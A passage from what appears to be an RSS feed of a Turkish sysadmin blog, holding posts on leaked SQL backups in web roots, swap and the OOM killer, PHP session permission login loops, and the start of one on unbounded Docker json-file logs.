<p>Bu iki kuralı eklediğinizde, geliştirici yanlışlıkla <code>public_html/yedek.sql</code> oluştursa bile dışarıdan gelen istek <code>404 Not Found</code> alır; dosya indirilemez!</p>
<hr>
<h3>3. Düzenli Olarak Kendi Dizinlerinizi Denetleyin</h3>
<p>Sunucunuzda unutulmuş tehlikeli dosyaları tespit etmek için haftalık bir tarama betiği çalıştırın:</p>
<pre><code class="language-bash">find /var/www/ -type f \( -name "*.sql" -o -name "*.tar.gz" -o -name "*.zip" -o -name "*.env" \) -ls
</code></pre>
<p>Ekrana bir satır bile düşerse derhal o dosyayı web kökünün dışına taşıyın.</p>
<h2>Sonuç</h2>
<p>Hasta dosyalarını hastane bahçesindeki kaldırıma bırakıp "Ama kimsenin alacağını düşünmemiştim" diyen bir idareci mahkemede nasıl ceza almaktan kurtulamazsa; web kök dizinine <code>.sql</code> bırakıp hacklenen bir şirket de KVKK cezalarından ve itibar kaybından kurtulamaz.</p>
<p>Web dizini bir dosya deposu değil, yalnızca dünyaya sunulması gereken statik ve dinamik kodların vitrinidir. Yedeklerinizi vitrinde değil, kilitli kasalarda tutun; mimarinizi dork avcılarının açık büfesi haline getirmeyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Google Dorks</category>
            <category>Veritabanı</category>
            <category>mysqldump</category>
            <category>Web Güvenliği</category>
            <category>KVKK</category>
            <category>Veri Sızıntısı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/veritabani-yedegini-sitede-sql-olarak-birakmak-ve-dork-avcilari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Swap (Sanal Bellek) Alanı Olmayan Sunucunun OOM Killer Tarafından Katledilmesi]]></title>
            <link>http://localhost:3000/blog/post/swap-sanal-bellek-alani-olmayan-sunucunun-oom-killer-tarafindan-katledilmesi</link>
            <guid>swap-sanal-bellek-alani-olmayan-sunucunun-oom-killer-tarafindan-katledilmesi</guid>
            <pubDate>Mon, 19 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Maliyet düşürmek veya 'SSD'yi yıpratır' efsanesiyle Swap yapılandırmayan sistem yöneticilerinin ilk bellek sıçramasında Linux Kernel OOM Killer tarafından idam edilen servisleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/swap-sanal-bellek-alani-olmayan-sunucunun-oom-killer-tarafindan-katledilmesi/thumbnail" alt=""> Derin deniz dalışında (Scuba Diving) dalgıcın hayatta kalmasını sağlayan en kritik ekipman, ana hava tüpünün yanında taşıdığı <strong>ahtapot (yedek regülatör)</strong> ve acil durum rezerv valfidir. Tecrübeli hiçbir dalgıç, "Ben zaten 30 metreye ineceğim, dipte 25 dakika kalacağım, ana tüpüm bana 40 dakika yetiyor; yedek regülatör taşımayayım, tüp sırtımda ağırlık yapmasın" demez. Çünkü denizin altında akıntıya kapılırsanız, bir kramp girerse veya panikleyip kalp atışınız fırlarsa akciğerleriniz normalin üç katı hava tüketir. Ana tüp bittiğinde elinizi uzatacağınız o yedek hava kaynağı yoksa, ciğerleriniz bir yudum havaya muhtaç kalır ve suyun 30 metre altında boğularak can verirsiniz. O yedek regülatör konfor için değil; anlık bir ölüm-kalım krizinde yüzeye çıkacak kadar nefes sağlamak içindir.</p>
<p>Linux sistem mühendisliğinde sanal sunucularda (VPS/Cloud) <strong>Swap (Takas / Sanal Bellek)</strong> alanını yapılandırmamak veya "Nasılsa 4 GB RAM aldık, yetmeli" diyerek Swap'ı sıfırda bırakmak, suyun dibine yedek regülatörsüz inmekten farksızdır.</p>
<hr>
<h2>Efsaneler vs. Gerçekler: "Swap SSD'yi Eskitir Mi?"</h2>
<p>İnternetteki eski forumlarda veya yüzeysel blog yazılarında sistem yöneticilerini zehirleyen bir şehir efsanesi dolaşır:<br>
<em>"SSD disklerde Swap açmayın! Swap diske sürekli yazma yaptığı için NVMe/SSD diskin ömrünü (TBW) tüketir, sunucuyu yavaşlatır. RAM biterse gidin daha fazla RAM satın alın!"</em></p>
<p>Bu argüman teoride bir mantık kırıntısı taşısa da pratik sistem yönetiminde intihar anlamına gelir:</p>
<ol>
<li><strong>Modern SSD/NVMe Dayanıklılığı:</strong> Günümüz kurumsal veri merkezi SSD'leri petabaytlarca (PBW) yazma garantisine sahiptir. Günde birkaç yüz megabaytlık takas alanı kullanımı bir SSD'yi yıpratamaz.</li>
<li><strong>Swap'ın Asıl Amacı RAM Yerine Geçmek Değildir:</strong> Swap, sistemin RAM'i bittiğinde uygulamaların diski RAM gibi kullanıp ışık hızında çalışması için tasarlanmamıştır. Swap; ani bir bellek sıçramasında işletim sisteminin panikleyip hayati servisleri öldürmesini engelleyen, acil durum amortisörüdür (hava yastığı).</li>
<li><strong>Boşta Kalan Belleğin Temizlenmesi:</strong> Linux çekirdeği (Kernel), uygulamaların belleğe yüklediği ama günlerdir hiç dokunmadığı hareketsiz sayfaları (anon sayfalar) Swap'a aktararak fiziksel RAM'i yüksek hızlı disk önbelleğine (page cache) tahsis eder. Swap olan bir sunucu, Swapsız bir sunucudan çoğu zaman daha verimli çalışır.</li>
</ol>
<hr>
<h2>OOM Killer (Out Of Memory Katili): Çekirdeğin Acımasız İnfazcısı</h2>
<p>Peki, Swap alanı olmayan bir Linux sunucuda fiziksel RAM %100 dolarsa ne olur?</p>
<p>Linux çekirdeği bellek yönetiminde <strong>Overcommit</strong> mimarisini kullanır. Uygulamalara fiziki olarak var olandan daha fazla bellek vadedebilir. Ancak tüm uygulamalar aynı anda vaat edilen belleği fiziki olarak istemeye başladığında ve serbest bırakılacak tek bir bayt RAM kalmadığında işletim sistemi kilitlenme tehlikesiyle yüzleşir.</p>
<p>Kernel donmamak için tek bir çareye sahiptir: <strong>OOM Killer (Bellek Yetersizliği Katili)</strong> mekanizmasını tetiklemek.</p>
<pre><code>                           ┌────────────────────────┐
                           │   RAM: %99.9 DOLDU!    │
                           │   SWAP ALANI: 0 MB!    │
                           └───────────┬────────────┘
                                       │
                                       ▼
                         [LINUX KERNEL: OOM KILLER]
                         "Sistem donmak üzere! Birini
                          kurban etmek zorundayım!"
                                       │
                                       ▼
                           [Kurban Puanlama: oom_score]
                           - En çok belleği kim yiyor?
                           - Kim daha kolay öldürülebilir?
                                       │
                     ┌─────────────────┴─────────────────┐
                     ▼                                   ▼
          mysqld (MySQL Veritabanı)            php-fpm / node worker
          RAM Kullanımı: 1.8 GB                 RAM Kullanımı: 400 MB
          oom_score: 842                        oom_score: 120
                     │
                     ▼
          [mysqld İNFAZ EDİLDİ! SIGKILL -9] ❌
          (Sistem yöneticisine haber verilmedi,
           loglara sadece 1 satır 'Killed process' yazıldı!)
</code></pre>
<p>OOM Killer merhametsiz bir cerrahtır. Hastayı yaşatmak için en büyük uzvu anında kesip atar. Bir sunucuda genellikle en çok belleği tüketen proses kimdir? <strong>MySQL / PostgreSQL</strong> veritabanı veya uygulamanızın ana motorudur.</p>
<p>Kernel gözünü bile kırpmadan MySQL prosesine <code>SIGKILL (Kill -9)</code> sinyalini fırlatır. Veritabanı transaction'ları tamamlayamadan, tamponları diske boşaltamadan masada kalır.</p>
<hr>
<h2>Semptom: Gece 03:00'te Kendi Kendine Kapanan MySQL</h2>
<p>Sistem yöneticisinin destek taleplerinde sıkça karşılaştığımız o çaresiz feryat gelir:<br>
<em>"Sunucumda hiçbir saldırı yokken, gece durup dururken MySQL servisi duruyor. <code>systemctl restart mysql</code> yapınca düzeliyor ama iki gün sonra yine çöküyor! MySQL'de bug mı var?"</em></p>
<p>Sistem yöneticisi <code>/var/log/mysql/error.log</code> dosyasını açar; orada hiçbir hata göremez. Çünkü MySQL kendi isteğiyle kapanmamıştır; arkasından vurulmuştur.</p>
<p>Gerçek katili bulmak için işletim sistemi çekirdek loglarına (dmesg) bakmak gerekir:</p>
<pre><code class="language-bash">dmesg -T | grep -i -E 'oom[- ]killer|killed process'

# ÇIKTI TÜYLER ÜRPERTİCİDİR:
# [Paz Oca 19 03:14:22 2026] Out of memory: Kill process 1245 (mysqld) score 842 or sacrifice child
# [Paz Oca 19 03:14:22 2026] Killed process 1245 (mysqld) total-vm:2845920kB, anon-rss:1450200kB, file-rss:0kB
</code></pre>
<p>Olay aydınlanmıştır. Gece çalışan bir cron görevi, sitemizi tarayan agresif bir bot veya büyük bir XML import işlemi anlık olarak RAM'i 100 megabayt aşmış; sunucuda Swap olmadığı için Linux çekirdeği saniyeler içinde MySQL'in boğazını sıkmıştır.</p>
<hr>
<h2>5 Dakikalık Hayat Kurtarma Operasyonu: Swapfile Oluşturma</h2>
<p>Bir Linux sunucusuna Swap eklemek, ambulansın arkasına oksijen tüpü bağlamak kadar hızlı ve basittir. Ayrı bir disk bölümü (partition) ayırmanıza gerek yoktur; tek bir dosya (<code>swapfile</code>) ile bu güvence sağlanır.</p>
<h3>Adım Adım Cerrahi Müdahale:</h3>
<pre><code class="language-bash"># 1. Mevcut Swap durumunu kontrol edin (Eğer boş dönüyorsa acil durumdasınız!)
free -h
swapon --show

# 2. 4 GB boyutunda boş ve bitişik bir takas dosyası tahsis edin:
sudo fallocate -l 4G /swapfile
# (Eğer fallocate desteklenmiyorsa: sudo dd if=/dev/zero of=/swapfile bs=1M count=4096)

# 3. Dosya izinlerini yalnızca root'un okuyabileceği şekilde kilitleyin!
sudo chmod 600 /swapfile

# 4. Dosyayı Linux takas alanı olarak biçimlendirin:
sudo mkswap /swapfile

# 5. Takas alanını hemen aktif edin:
sudo swapon /swapfile

# 6. Sunucu yeniden başladığında (reboot) Swap'ın kaybolmaması için /etc/fstab'a ekleyin:
echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
</code></pre>
<hr>
<h2>Swappiness: Fren ve Gaz Pedalının Hassas Ayarı</h2>
<p>Swap alanını açtıktan sonra yapılacak en kritik ince ayar <strong><code>vm.swappiness</code></strong> parametresidir.<br>
Bu değer (0 ile 100 arasında), Linux çekirdeğinin Swap alanını ne kadar hevesle kullanacağını belirler:</p>
<ul>
<li><code>swappiness = 60</code> (Varsayılan): Kernel boşta kalan uygulamaları erkenden Swap'a itmeye çalışır. Masaüstü için iyidir ancak veritabanı sunucularında gereksiz disk I/O yapabilir.</li>
<li><code>swappiness = 10</code> veya <code>1</code> (Veritabanı ve Üretim Sunucuları İçin İdeal): Kernel'a şunu emreder: <em>"Fiziksel RAM tamamen tükenme sınırına gelene kadar Swap'a dokunma! Sadece ölüm-kalım anında Swap'ı kullan!"</em></li>
</ul>
<pre><code class="language-bash"># Swappiness değerini 10'a çekin:
sudo sysctl vm.swappiness=10

# Kalıcı hale getirmek için:
echo 'vm.swappiness=10' | sudo tee -a /etc/sysctl.conf
</code></pre>
<p>Bu ayarla sunucunuz normal zamanlarda tüm hızıyla saf RAM üzerinde koşar; ancak ani bir trafik tsunamisinde OOM Killer'ın neşterine kurban gitmek yerine Swap alanına sığınarak hayatta kalır.</p>
<hr>
<h2>Kritik Servisleri OOM Killer'a Karşı Koruma Zırhı</h2>
<p>Eğer sunucunuzda MySQL'in ne olursa olsun asla öldürülmesini istemiyorsanız, çekirdeğin puanlama mekanizmasına doğrudan müdahale edebilirsiniz:</p>
<pre><code class="language-bash"># MySQL'in systemd servis dosyasına OOM Score koruması ekleyin:
sudo systemctl edit mysql

# Açılan pencereye şu satırı ekleyin:
[Service]
OOMScoreAdjust=-1000
</code></pre>
<p><code>-1000</code> puan alan bir proses, OOM Killer için <strong>dokunulmaz</strong> ilan edilir. RAM bittiğinde kernel MySQL'i değil; daha az kritik olan web worker'larını veya SSH oturumlarını feda eder.</p>
<h2>Sonuç</h2>
<p>Dalış tüpünüz bittiğinde yedek regülatörünüzün olması size lüks bir dalış sunmaz; size nefes aldırır, panik yapmadan yüzeye çıkıp hayatınızı kurtarmanızı sağlar.</p>
<p>Swap alanı da sunucunuzu süper bilgisayar yapmaz; ancak RAM bittiğinde sisteminizin aniden beyin ölümüne girmesini engeller, metrikleri inceleyip sorunu çözmeniz için size altın değerinde dakikalar kazandırır. Birkaç gigabaytlık disk alanından tasarruf etmek uğruna sunucularınızı OOM Killer'ın insafına terk etmeyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Linux</category>
            <category>Swap</category>
            <category>OOM Killer</category>
            <category>SysAdmin</category>
            <category>RAM</category>
            <category>Bellek Yönetimi</category>
            <category>DevOps</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/swap-sanal-bellek-alani-olmayan-sunucunun-oom-killer-tarafindan-katledilmesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[PHP session_save_path İzinlerinin Bozulması ve Giriş Yapılamayan Paneller]]></title>
            <link>http://localhost:3000/blog/post/php-session_save_path-izinlerinin-bozulmasi-ve-giris-yapilamayan-paneller</link>
            <guid>php-session_save_path-izinlerinin-bozulmasi-ve-giris-yapilamayan-paneller</guid>
            <pubDate>Sun, 18 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[/var/lib/php/sessions dizininin izinleri veya sahipliği bozulduğunda kullanıcı adı ve şifresi doğru olduğu halde giriş sayfasına geri fırlatılan kullanıcıların oluşturduğu sessiz login döngüsü.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/php-session_save_path-izinlerinin-bozulmasi-ve-giris-yapilamayan-paneller/thumbnail" alt=""> Hastanenin acil servis triyaj ve hasta kayıt bankosunu düşünün. Gece yarısı acil servise nefes darlığı çeken bir hasta başvurur. Hasta kayıt memuruna T.C. kimlik kartını uzatır. Memur hastanın kimliğini bilgisayarda sorgular; T.C. numarası doğrudur, sigortası aktiftir, kimlikte hiçbir sorun yoktur. Memur "Tamam, kimliğiniz doğrulandı" der. Ancak hastanın giriş kaydını basacağı resmi protokol defterinin bulunduğu dolabın anahtarı kaybolmuştur ya da memurun elindeki tüm tükenmez kalemlerin mürekkebi bitmiştir! Memur fiziki olarak deftere tek bir harf bile yazamaz. Hastanın yüzüne bakar ve çaresizce şöyle der: <em>"Kimliğiniz doğru ama sisteme dosya açamadım, lütfen kapıdan çıkıp tekrar sıraya girin ve kimliğinizi baştan verin."</em> Hasta şaşkınlıkla sıradan çıkar, kapıya gider, tekrar bankoya gelir; kimliğini verir, memur yine onaylar ama yine yazamaz ve yine kapıya gönderir. Hasta sonsuz bir bürokratik döngünün içinde rehin kalmıştır.</p>
<p>PHP tabanlı web uygulamalarında (WordPress, Laravel, OpenCart veya özel e-ticaret sistemleri) <strong><code>session_save_path</code></strong> dizininin izinlerinin veya sahipliğinin bozulması, web dünyasında tam olarak bu hezeyanı üretir: <strong>Sonsuz Giriş Döngüsü (Session Login Loop)</strong>.</p>
<hr>
<h2>PHP Oturumu (Session) Nasıl Yaşar?</h2>
<p>HTTP protokolü durumsuz (stateless) bir protokoldür. Bir istek bittiğinde istemci ile sunucu arasındaki tüm hafıza silinir. Web sitelerinin bir kullanıcının kim olduğunu hatırlayabilmesi için oturum mekanizması icat edilmiştir.</p>
<p>Standart bir PHP kurulumunda bu mekanizma dosya sistemi üzerinden yürür:</p>
<pre><code>[Kullanıcı Tarayıcısı]                      [Linux Sunucusu]
         │                                         │
         │ 1. POST /login.php                      │
         │    (Kullanıcı adı: admin, Parola: 123)   │
         ├────────────────────────────────────────►│
         │                                         │ 2. Parola hash'i doğrulandı!
         │                                         │ 3. session_start() çağrıldı.
         │                                         │ 4. Sunucu diskine dosya yazılacak:
         │                                         │    /var/lib/php/sessions/sess_91823...
         │                                         │    İçerik: user_id|i:1; logged_in|b:1;
         │                                         │
         │ 5. HTTP 200 OK                          │
         │    Set-Cookie: PHPSESSID=91823...       │
         │◄────────────────────────────────────────┤
</code></pre>
<p>Eğer sunucu 4. adımda o küçük oturum dosyasını diske yazamazsa ne olur?</p>
<ul>
<li>Kullanıcının şifresi doğrudur.</li>
<li>Veritabanı sorgusu başarılıdır.</li>
<li>Ancak sunucu kullanıcının oturum açtığı bilgisini fiziksel belleğe kazıyamaz.</li>
<li>Kullanıcı bir sonraki sayfaya (<code>/admin/dashboard.php</code>) geçtiğinde, PHP oturum dosyasını diskte arar; dosya boştur veya hiç oluşmamıştır. PHP der ki: <em>"Sen kimsin? Oturumun yok!"</em> ve kullanıcıyı tekrar <code>/login.php</code> sayfasına fırlatır!</li>
</ul>
<hr>
<h2>Patolojinin Anatomisi: Hata Yok, Giriş de Yok!</h2>
<p>Bu arızayı sistem yöneticileri ve geliştiriciler için bir kabusa dönüştüren asıl faktör, <strong>ekranda hiçbir hata mesajının görünmemesidir.</strong></p>
<p>Kullanıcı kullanıcı adını ve şifresini yazar, "Giriş Yap" butonuna basar:</p>
<ul>
<li>Sayfa 1 saniye yenilenir.</li>
<li>Form kutucukları tekrar boşalır.</li>
<li>Ekranda "Hatalı şifre" yazmaz.</li>
<li>"Kullanıcı bulunamadı" yazmaz.</li>
<li><code>500 Internal Server Error</code> vermez.</li>
<li>Sadece giriş sayfası tekrar açılır.</li>
</ul>
<p>Müşteri şifresini 10 kez sıfırlar, yeni şifre alır; yine giremez. Tarayıcı önbelleğini temizler, gizli sekmeden dener; yine giremez. Destek masasına <em>"Siteniz bozuldu, şifremi kabul etmiyor!"</em> diye biletler yağmaya başlar.</p>
<hr>
<h2>İzinler Nasıl Bozulur? Suçlular Kürsüsü</h2>
<p><code>/var/lib/php/sessions</code> (veya CentOS/cPanel'de <code>/tmp</code> ya da <code>/var/cpanel/php/sessions</code>) dizini durduk yere bozulmaz. Bu patolojiyi tetikleyen tipik insan ve otomasyon hataları şunlardır:</p>
<h3>1. <code>chmod -R 777</code> veya <code>chown</code> Çılgınlığı</h3>
<p>Acemi bir geliştirici sitede bir resim yükleme hatası aldığında sunucuda geniş çaplı bir sahiplik değişikliği çalıştırır:</p>
<pre><code class="language-bash">sudo chown -R www-data:www-data /var/lib/
</code></pre>
<p>Eğer sunucuda PHP-FPM farklı bir kullanıcı havuzuyla (örneğin <code>nginx</code> veya sanal hosting kullanıcısı <code>ahmet</code>) çalışıyorsa, o andan itibaren <code>ahmet</code> kullanıcısı oturum dizinine yazamaz hale gelir!</p>
<h3>2. PHP Sürüm Güncellemesi (PHP 8.1 -> 8.2 Geçişi)</h3>
<p>Ubuntu veya Debian üzerinde <code>apt upgrade</code> ile yeni PHP sürümleri kurulduğunda, paket yöneticisi bazen oturum dizininin izinlerini varsayılan paket ayarlarına (<code>root:root</code> veya <code>0733</code>) çeker. PHP-FPM süreci bu dizine yazamaz.</p>
<h3>3. Disk Doluluğu veya Inode Tükenmesi</h3>
<p>Diskte gigabaytlarca boş yer olsa bile, sunucuda milyonlarca minik dosya varsa dosya sistemi <strong>Inode (İndeks Düğümü)</strong> sınırına dayanabilir (<code>df -i</code>). Inode tükendiğinde PHP yeni bir oturum dosyası açamaz; hata vermeden sessizce çöker.</p>
<hr>
<h2>Teşhis: Suç Aletini Yakalamak</h2>
<p>Karanlıkta el yordamıyla aramak yerine Nginx/Apache ve PHP-FPM hata loglarını açtığınızda suçlu kendini hemen ele verir:</p>
<pre><code class="language-bash"># PHP-FPM hata logunu izleyin:
tail -f /var/log/php8.2-fpm.log
# Veya Nginx error.log:
tail -f /var/log/nginx/error.log
</code></pre>
<p>Ekrana düşen o tanıdık log satırı:</p>
<pre><code class="language-text">FastCGI sent in stderr: "PHP message: PHP Warning: session_start(): 
open(/var/lib/php/sessions/sess_a9f1b..., O_RDWR) failed: 
Permission denied (13) in /var/www/site/login.php on line 4"
</code></pre>
<p>İşte oradadır: <strong><code>Permission denied (13)</code></strong>. PHP feryat etmektedir: <em>"Ben oturum dosyasını açmak istedim ama işletim sistemi kapıyı yüzüme çarptı!"</em></p>
<hr>
<h2>Cerrahi Operasyon: Dizini Onarmak</h2>
<p>Bu patolojiyi düzeltmek 30 saniyelik bir terminal operasyonudur; ancak doğru kullanıcı ve izin kombinasyonunu bilmek şarttır.</p>
<h3>1. PHP-FPM'in Hangi Kullanıcıyla Çalıştığını Tespit Edin:</h3>
<pre><code class="language-bash">ps aux | grep php-fpm
# Çıktıda worker süreçlerinin sahibi görünür: www-data, nginx veya cpanel kullanıcısı.
</code></pre>
<h3>2. Oturum Dizinini ve İzinlerini Yeniden Yapılandırın:</h3>
<p>Ubuntu / Debian ortamında standart yapı:</p>
<pre><code class="language-bash"># Dizinin varlığını doğrulayın:
sudo mkdir -p /var/lib/php/sessions

# Sahipliği PHP-FPM kullanıcısına devredin:
sudo chown -R www-data:www-data /var/lib/php/sessions

# İzinleri 700 (veya grup erişimi gerekiyorsa 730 / 770) olarak ayarlayın:
sudo chmod 700 /var/lib/php/sessions
</code></pre>
<p>CentOS / RHEL / AlmaLinux ortamında:</p>
<pre><code class="language-bash">sudo chown -R apache:apache /var/lib/php/session
# Veya Nginx kullanılıyorsa:
sudo chown -R nginx:nginx /var/lib/php/session
sudo chmod 770 /var/lib/php/session
</code></pre>
<hr>
<h2>Kalıcı Mimari Tedavi: Oturumları Diske Değil Redis'e Emanet Etmek</h2>
<p>Modern ve ölçeklenebilir bir web mimarisinde kullanıcı oturumlarının yerel sunucu diskindeki minik dosyalarda (<code>/var/lib/php/sessions</code>) saklanması zaten mimari bir borçtur (technical debt).</p>
<p>Sunucunuz yatayda büyüdüğünde (Load Balancer arkasında 2 veya daha fazla sunucu olduğunda) yerel disk oturumları zaten çalışmaz; kullanıcının her isteği farklı sunucuya düştüğünde oturumu düşer.</p>
<p>En temiz, en hızlı ve izin sorunlarını kökten yok eden cerrahi çözüm, oturum yönetimini <strong>Redis</strong> bellek motoruna devretmektir:</p>
<pre><code class="language-ini">; /etc/php/8.2/fpm/php.ini içine yazılacak modern reçete:

session.save_handler = redis
session.save_path = "tcp://127.0.0.1:6379?prefix=PHPREDIS_SESSION:&#x26;auth=GucluSifre123"
</code></pre>
<p>PHP-FPM servisini yeniden başlattığınız an (<code>systemctl restart php8.2-fpm</code>):</p>
<ul>
<li>Oturumlar diske dosya yazmakla uğraşmaz; RAM hızında mikro saniyeler içinde Redis'e yazılır.</li>
<li>Disk doluluğu, dosya izinleri veya <code>chmod</code> faciaları oturumlarınızı etkileyemez.</li>
<li>Çoklu sunucu mimarisine geçtiğinizde tüm sunucular aynı Redis havuzundan oturumları ortaklaşa okur.</li>
</ul>
<h2>Sonuç</h2>
<p>Doğrulanmış bir kimliği resmi deftere kaydedemeyen acil servis personeli hastayı içeri alamaz; oturum dosyasını diske yazamayan bir PHP motoru da şifresi doğru olan hiçbir kullanıcıyı içeri sokamaz.</p>
<p>Web mühendisliğinde kullanıcı deneyimi sadece ön yüz animasyonlarından ibaret değildir. <code>/var/lib/php/sessions</code> dizinindeki tek bir dosya izni, milyonluk bir portalın kapılarını dünyaya kilitleyebilir. Giriş panelleriniz sessiz döngülere girdiğinde suçu şifrelerde değil, işletim sisteminin yazma izinlerinde arayın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PHP</category>
            <category>Sessions</category>
            <category>Permissions</category>
            <category>Linux</category>
            <category>WordPress</category>
            <category>Session Loop</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/php-session_save_path-izinlerinin-bozulmasi-ve-giris-yapilamayan-paneller/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Docker Konteynırında Log Sınırlaması Yapmamak: Diski Yutan json-file]]></title>
            <link>http://localhost:3000/blog/post/docker-konteynirinda-log-sinirlamasi-yapmamak-diski-yutan-json-file</link>
            <guid>docker-konteynirinda-log-sinirlamasi-yapmamak-diski-yutan-json-file</guid>
            <pubDate>Sat, 17 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Uygulamayı Docker ile konteynırlaştırıp varsayılan json-file log sürücüsüne sınır koymayan ve 120 GB'lık devasa log dosyasıyla sunucu diskini kilitleyen DevOps felaketi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/docker-konteynirinda-log-sinirlamasi-yapmamak-diski-yutan-json-file/thumbnail" alt=""> Girişimsel kardiyolojide kalp damar tıkanıklıklarını açmak için en modern yöntemlerden biri, damar içine ilaç salınımlı titanyum-kobalt alaşımlı koroner stent yerleştirmektir. Bu stent, çökmüş bir koroner arteri saniyeler içinde açar ve kalbe hayat verir. Ancak cerrah bu stenti takıp hastayı eve gönderirken antiagregan (kan sulandırıcı) reçetesi yazmazsa veya hastanın pıhtılaşma takibini yapmazsa ne olur? Stentin metal kafesi etrafında kontrolsüzce endotelyal hücreler, fibröz dokular ve mikroskobik trombositler birikmeye başlar. Aylar içinde o hayat kurtaran stent, damarın içinde devasa bir trombüs kütlesine (stent trombozu) dönüşür; damarı tamamen tıkar ve hasta masif bir miyokard enfarktüsüyle (kalp krizi) acile döner. En son teknoloji donanım, basit bir temizlik ve takip protokolü uygulanmadığı için hastanın ölüm sebebi olmuştur.</p>
<p>Modern yazılım mühendisliğinde ve DevOps dünyasında <strong>Docker</strong> konteynır teknolojisine geçiş tam olarak bu stent takma ameliyatıdır. Monolitik, hantal uygulamaları izole, taşınabilir ve şık konteynırlara koyarsınız. Ancak Docker motorunun varsayılan günlük kaydı sürücüsü olan <strong><code>json-file</code></strong> için bir boyut sınırı (log rotation) tanımlamazsanız; o modern konteynır aylar içinde yüzlerce gigabaytlık bir log canavarına dönüşür ve sunucunun tüm diskini yutarak sistemi felç eder.</p>
<hr>
<h2>Docker'ın Varsayılan Tuzağı: Sınırsız <code>json-file</code> Sürücüsü</h2>
<p>Birçok geliştirici Docker'ı kurar, <code>docker run</code> veya <code>docker compose up -d</code> komutunu verir ve uygulamanın arka planda izole bir şekilde çalıştığını görerek rahatlar.</p>
<p>Konteynır içinde çalışan uygulamanın (Node.js, Go, Python, Java) konsola bastığı her çıktı (<code>stdout</code> ve <code>stderr</code>), Docker daemon tarafından yakalanır.</p>
<p>Docker'ın varsayılan günlük kaydı mimarisi şu şekildedir:</p>
<ul>
<li>Varsayılan sürücü: <strong><code>json-file</code></strong></li>
<li>Varsayılan dosya konumu: <code>/var/lib/docker/containers/&#x3C;container-id>/&#x3C;container-id>-json.log</code></li>
<li>Varsayılan dosya boyutu sınırı: <strong>SINIRSIZ (UNLIMITED)!</strong></li>
<li>Varsayılan dosya adedi: <strong>1 (ROTASYON YOK!)</strong></li>
</ul>
<pre><code>[Konteynır Uygulaması]
  │ console.log("Kullanıcı bağlandı: 192.168.1.1")
  ▼
[Docker Daemon]
  │ JSON Formatına Çevir: {"log":"Kullanıcı bağlandı...","stream":"stdout","time":"..."}
  ▼
[/var/lib/docker/containers/...-json.log]
  │
  ├─ Gün 1   : 20 MB
  ├─ Ay 1    : 14 GB
  ├─ Ay 6    : 112 GB! (Disk Alanı: %100 - TÜM DOCKER MOTORU KİLİTLENDİ!)
</code></pre>
<p>Docker daemon, siz açıkça "dur" demediğiniz sürece o dosyayı sonsuza kadar büyütür. Tek bir satır log bile silinmez.</p>
<hr>
<h2>Patolojinin Gelişimi: "Disk Nereye Kayboldu?"</h2>
<p>Pazartesi sabahı sunucu izleme araçlarından (Zabbix, Grafana) kırmızı alarmlar düşer: Sunucuda 160 GB NVMe disk vardır ve kullanılabilir alan <strong>0 MB</strong> kalmıştır.</p>
<p>Sistem yöneticisi SSH ile sunucuya bağlanır ve <code>du -sh /*</code> komutuyla diski neyin yediğini aramaya başlar:</p>
<ul>
<li><code>/var/www</code> -> 4 GB</li>
<li><code>/var/log</code> -> 800 MB (Çünkü sistem logrotate çalışıyor)</li>
<li><code>/home</code> -> 1 GB</li>
<li><code>/var/lib/docker</code> -> <strong>148 GB!</strong></li>
</ul>
<p>Yönetici <code>docker system df</code> yazar:</p>
<pre><code class="language-text">TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE
Images          12        4         4.2GB     2.8GB (66%)
Containers      4         4         320MB     0B (0%)
Local Volumes   3         3         1.8GB     0B (0%)
Build Cache     0         0         0B        0B
</code></pre>
<p>Yönetici şaşkına döner: <em>"İmajlar 4 GB, konteynırlar 300 MB, volumeler 2 GB. 140 GB nerede?!"</em></p>
<p><code>docker system df</code> komutu konteynırların log dosyası boyutlarını varsayılan olarak göstermez! O 140 GB, Docker'ın iç organlarında gizlenen <code>&#x3C;id>-json.log</code> dosyasının ta kendisidir!</p>
<pre><code class="language-bash"># Gerçek katili ortaya çıkaran komut:
ls -lh /var/lib/docker/containers/*/*-json.log

# ÇIKTI DEHŞET VERİCİDİR:
# -rw-r----- 1 root root 138G Oca 17 04:12 8f9a2b1c4d...-json.log
</code></pre>
<hr>
<h2>Acil Müdahale: Canlı Konteynırın Logunu Boşaltmak</h2>
<p>Acemi mühendisin ilk refleksi <code>rm -f /var/lib/docker/containers/*/*.log</code> yapmaktır. Bir önceki makalemizde anlattığımız gibi; Docker daemon o dosyayı açık bir dosya tanıtıcısıyla (file descriptor) tuttuğu için dosya silinmez, "hayalet dosya" olarak bellekte asılı kalır ve disk alanı açılmaz!</p>
<p>Konteynırı durdurmadan (downtime yaratmadan) o 140 GB'lık kütüğü anında sıfırlamanın tek yolu <strong>truncate</strong> uygulamaktır:</p>
<pre><code class="language-bash"># Canlıdaki tüm Docker log dosyalarını güvenle sıfırlar:
truncate -s 0 /var/lib/docker/containers/*/*-json.log
</code></pre>
<p>Komut bittiği saniye <code>df -h</code> çıktısında 140 GB alanın anında açıldığını görürsünüz. Hasta tekrar nefes almaya başlamıştır. Ancak bu geçici bir pansumandır; damara stent takılmış ama hala kan sulandırıcı verilmemiştir.</p>
<hr>
<h2>Radikal Tedavi: Docker Seviyesinde Global Log Rotasyonu</h2>
